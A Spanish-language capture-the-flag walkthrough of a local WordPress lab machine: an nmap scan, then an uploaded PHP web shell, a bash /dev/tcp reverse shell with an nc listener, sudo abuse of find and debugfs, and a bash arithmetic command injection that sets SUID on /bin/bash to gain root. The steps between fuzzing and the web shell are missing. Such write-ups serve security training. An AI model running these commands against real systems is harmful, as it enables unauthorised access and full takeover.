Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-31 10:14 EST
Nmap scan report for 172.18.0.2
Host is up (0.000031s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 6.5.4
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Whoiam
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.06 seconds
Si entramos en una pagina vemos algo normal, por lo que vamos a realizar un poco de fuzzing.
Y vemos que nos creo un shell.php en la siguiente ruta.
URL = http://<IP>/wp-content/uploads/shell.php
Si entramos a ella veremos lo siguiente:
Vemos que tendremos una shell interactiva, por lo que haremos lo siguiente.
Escalate user rafa
Vamos a enviarnos una shell.
bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'
Antes de enviarlo nos pondremos a la escucha:
nc -lvnp <PORT>
Lo ejecutamos el codigo anterior y si volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7755 ...
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.2] 44308
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@454dd5633d8b:/var/www/html/wp-content/uploads$ whoami
whoami
www-data
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on 454dd5633d8b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on 454dd5633d8b:
(rafa) NOPASSWD: /usr/bin/find
Vemos que podremos ejecutar el binario find como el usuario rafa, por lo que haremos lo siguiente:
sudo -u rafa find . -exec /bin/bash \; -quit
Con esto seremos el usuario rafa.
Escalate user ruben
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for rafa on 454dd5633d8b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User rafa may run the following commands on 454dd5633d8b:
(ruben) NOPASSWD: /usr/sbin/debugfs
Vemos que podemos ejecutar el binario debugfs como el usuario ruben, por lo que haremos lo siguiente:
sudo -u ruben debugfs
!/bin/bash
Y con esto ya seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for ruben on 454dd5633d8b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User ruben may run the following commands on 454dd5633d8b:
(ALL) NOPASSWD: /bin/bash /opt/penguin.sh
Veremos que podremos ejecutar el binario bash junto al script llamado penguin.sh como el usuario root, por lo que haremos lo siguiente:
Si leemos el script, veremos lo siguiente:
#!/bin/bash
read -rp "Enter guess: " num
if [[ $num -eq 42 ]]
then
echo "Correct"
else
echo "Wrong"
fi
Por lo que vemos si ponemos el numero 42 nos da la frase correcta, por lo que podremos aprovechar esto para hacer lo siguiente:
sudo bash /opt/penguin.sh
Metemos este codigo:
prueba[$(chmod u+s /bin/bash >&2)]+42
Explicacion:
prueba[ ... ]+42 → Se ve como un intento de asignación de un array en Bash. Pero lo importante es lo que está dentro del [ ... ].
$(chmod u+s /bin/bash >&2) →
La expresión $() ejecuta el comando dentro de ella en un subproceso.
chmod u+s /bin/bash da permisos SUID a /bin/bash, lo que significa que cualquier usuario que ejecute /bin/bash tendrá privilegios de root.
>&2 redirige la salida estándar a stderr, aunque en este caso no es esencial.
prueba[ ... ]+42 →
Bash ejecuta primero el contenido de $() antes de asignarlo a una variable.
Al ejecutar chmod u+s /bin/bash, la bash del sistema ahora tiene permisos de root.
Luego, read asigna lo que queda (prueba[ ]+42), pero el daño ya está hecho.
¿Por qué funciona si el script se ejecuta como root?
Si este script es ejecutado por root, cualquier comando dentro de $() también se ejecuta con privilegios de root.
chmod u+s /bin/bash solo puede ser ejecutado por root, pero en este caso, el usuario aprovecha el script que ya está corriendo como root para que lo haga por él.
Después de la ejecución, /bin/bash se convierte en un binario SUID, lo que significa que cualquier usuario puede abrir una sesión Bash con privilegios de root
Info:
Enter guess: prueba[$(chmod u+s /bin/bash >&2)]+42
Correct
Y con esto vamos a comprobar que se haya aplicado correctamente.
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Vemos que ha funcionado estableciendo los permisos SUID a la bash, por lo que haremos lo siguiente:
bash -p
Info:
bash-5.2# whoami
root
Y con esto veremos que seremos el usuario root, por lo que habremos termiando la maquina.